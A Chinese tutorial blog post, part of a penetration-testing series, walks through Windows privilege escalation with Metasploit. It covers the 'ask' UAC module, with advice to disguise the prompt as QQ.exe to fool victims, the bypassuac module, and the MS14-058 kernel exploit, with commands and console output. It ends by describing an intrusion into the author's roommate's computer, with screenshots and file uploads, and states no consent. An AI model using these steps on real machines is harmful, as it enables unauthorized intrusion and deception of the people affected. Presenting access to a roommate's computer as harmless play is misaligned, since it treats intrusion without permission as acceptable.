前言
本博文仅供学习使用,请勿他用!!!
网络安全成为当下最热门的话题,如何维护网络安全是关键,而内网渗透测试又是其中最重要的部分,接下来博主将会通过系列文章,对内网渗透进行介绍与复现;
内网渗透(一):获得权限
内网渗透(二):权限提升
内网渗透(三):信息收集
内网渗透(四):数据包捕获
继上篇博客获取到系统权限后,本文将会介绍如何提升获取到的系统权限,主要通过三种方式:提高程序运行级别,UAC 绕过,利用提权漏洞进行提权;
提高程序运行级别
1、查看当前的用户权限 getuid
,
meterpreter > getuid
Server username: WIN-50HM5UIKP60\sid10t
2、尝试提权 getsystem
,这种成功的概率极小,果然报错了:
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
3、把当前会话挂起 background
,然后启用模块 use exploit/windows/local/ask
,可以先通过 info
来查看一下这个模块的功能:
This module will attempt to elevate execution level using the ShellExecute undocumented RunAs flag to bypass low UAC settings.
此模块将尝试使用 ShellExecute undocumented RunAs 标志来提升执行级别,以绕过低 UAC 设置。
4、设置模块的一些属性:
FILENAME
:弹出 UAC 显示的文件名;PATH
:文件路径;SESSION
:选择会话的 ID;
设置完属性之后,就开始攻击 exploit
:
msf exploit(ask) > set session 2
session => 2
msf exploit(ask) > set filename sid10t.exe
filename => sid10t.exe
msf exploit(ask) > exploit
这时候 windows 机子这边就会弹出如下的 UAC 窗口,跟我们设置的都能对上,为了让用户点击,可以改成 QQ.exe
这些容易迷惑受害者的:
5、如果用户选择 “否”,则过一会就会超时报错;
如果用户点击了 “是”,则会成功获取权限,这时候再尝试一下提权;
提权成功!
UAC 绕过
1、使用 bypassuac
模块进行攻击,可以看一下都有哪些绕过:
2、这里就使用 bypassuac
,照例看一下相关信息:
This module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off.
此模块将通过进程注入利用受信任的发布者证书绕过 Windows UAC。它将生成第二个关闭了 UAC 标志的 shell。
3、设置一下 SESSION
就可以了:
msf exploit(bypassuac) > set session 2
session => 2
4、进行提权;
利用提权漏洞进行提权
1、这里使用 ms14_058_track_popup_menu
模块进行攻击,还有很多类似的;
2、看一下模块配置,只要一个 SESSION
:
3、看一下相关信息 info
:
msf exploit(ms14_058_track_popup_menu) > info
Name: Windows TrackPopupMenu Win32k NULL Pointer Dereference
Module: exploit/windows/local/ms14_058_track_popup_menu
Platform: Windows
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-10-14
Provided by:
Unknown
juan vazquez <juan.vazquez@metasploit.com>
Spencer McIntyre
OJ Reeves <oj@buffered.io>
Available targets:
Id Name
-- ----
0 Windows x86
1 Windows x64
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 2 yes The session to run this module on.
Payload information:
Space: 4096
Description:
This module exploits a NULL Pointer Dereference in win32k.sys, the
vulnerability can be triggered through the use of TrackPopupMenu.
Under special conditions, the NULL pointer dereference can be abused
on xxxSendMessageTimeout to achieve arbitrary code execution. This
module has been tested successfully on Windows XP SP3, Windows 2003
SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1
and Windows 2008 R2 SP1 64 bits.
References:
https://cvedetails.com/cve/CVE-2014-4113/
OSVDB (113167)
http://www.securityfocus.com/bid/70364
https://technet.microsoft.com/en-us/library/security/MS14-058
http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/
可以看到它的适用范围;
4、exploit
;
因为目标主机是 x64 的,所以这里要切换目录;
攻击之后,windows 这边弹出个记事本报错,说明该漏洞失效了…
实战
根据上面的操作,对室友的电脑进行权限的获取与提升;
这是室友正在玩 MC,对其进行屏幕截图;
在桌面创建一个名为 sid10t
的文件夹;
上传了一个 haha.txt
,并进行了读取;
后记
权限提升到这就结束了,各位读者可以自行尝试并举一反三;
个人网站:
本博文仅供学习使用,请勿他用!!!